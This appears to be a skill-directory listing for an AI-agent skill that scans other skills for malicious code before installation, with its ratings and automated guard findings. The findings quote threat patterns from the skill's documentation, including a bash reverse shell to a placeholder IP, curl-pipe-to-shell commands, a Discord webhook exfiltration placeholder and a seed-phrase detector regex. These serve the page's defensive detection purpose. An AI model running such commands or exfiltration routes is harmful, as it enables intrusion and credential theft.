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Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: "install skill", "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.

modbender/skill-library-mcp Agent Skills author: modbender MIT 4 files body ≈ 945 tokens Open the sourcegithub.com↗ analyzed 2 d ago

Security gatekeeper for skill installations.

As a process D 43/100 · Unfinished process — weak spots: result and completion, when it triggers, inputs and preconditions

AnalyzerGitHubDiscordSoftware developmenttype and topics are labelled automatically from the skill text
Runs in: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Technical rating
A
91/100
safety, quality, tests
Safety 60%
88
Quality 40%
96
Run on models
none yet
Process rating
D
43/100
Unfinished process
Result and completion w 14
0
Inputs and preconditions w 11
0
Failures and branches w 10
0
the three weakest of ten parameters · all ten

How to improve

    For the model run — optional
    • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
    • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

    Guard findings · 12

    ✓ No critical or high findings

    Medium and low: 12
    • low Dangerous commands cmd-pipe-to-shell README.md:39
      Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row; documentation of a security skill)
      | **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` |
      tablesecurity skill
    • low Exfiltration exfil-webhook-url README.md:77
      Webhook / callback URL commonly used for exfiltration (verify the destination) (placeholder value)
      Code: requests.post('https://discord.com/api/webhooks/...')
      placeholder
    • low Risky intent intent-offensive-security references/threat-patterns.md:13
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
      | `bash -i /dev/tcp` | `bash -i >& /dev/tcp/1.2.3.4/4444 0>&1` | Bash reverse shell |
    • low Risky intent intent-offensive-security references/threat-patterns.md:36
      Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
      - **glot.io** — Code hosting, used for payload delivery
    • low Dangerous commands cmd-background-process references/threat-patterns.md:47
      Starts a background / autostarted process (documentation table row; documentation of a security skill)
      | `systemctl enable` | Systemd service |
      tablesecurity skill
    • low Risky intent intent-wallet-secrets scripts/scan_skill.py:94
      Handles crypto-wallet secrets (seed / mnemonic / private key) — a classic stealer target (detector / deny-list definition)
      r'seed\s*phrase|mnemonic': 'Seed phrase reference',
      detector
    • low Dangerous commands cmd-pipe-to-shell SKILL.md:44
      Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row; documentation of a security skill)
      | **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` |
      tablesecurity skill
    • low Exfiltration exfil-webhook-url SKILL.md:98
      Webhook / callback URL commonly used for exfiltration (verify the destination) (placeholder value)
      Code: requests.post('https://discord.com/api/webhooks/...')
      placeholder

    A further 4 matches are quotations in this security skill's documentation and are not counted as findings.

    Files scanned: 4. Evidence is masked. Grey chips explain why severity was lowered.

    Against the Agent Skills spec

    ✓ No remarks against the Agent Skills spec

    Process rating: all ten parameters 43/100

    • 0Result and completion. Does not say what the result is
    • 0Inputs and preconditions. Does not say what the process needs to start
    • 0Failures and branches. Linear process with no failure handling
    • 0Progress reporting. Says nothing while it works
    • 20When it triggers. No condition that starts the skill
    • 30Running it twice. 1 mutating operations with no state check
    • 60Tools and files. Uses tools (bash, web, python) that frontmatter does not declare
    • 100Steps. 12 steps
    • 100Consistency. Name and required fields are in place
    • 100Execution cost. Instruction body is 945 tokens

    Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

    Quality signals

    • +4Description does not say when NOT to use the skill (false activations)
    • +3Output format is not stated: the model decides each time
    • +1No license
    • +2Single-language instructions
    • +5Description quotes 5 example trigger phrases
    • +3Description length 389: enough signal without eating the budget
    • +4Structure: 12 headings
    • +3Step-by-step instructions: 12 items
    • +4Has examples (4 code blocks)
    • +4Reference files are cited in the instructions (1 of 1)
    • +3All 1 scripts are documented

    Quality base 70; lint remarks subtract, signals add up to 100. Result: 96.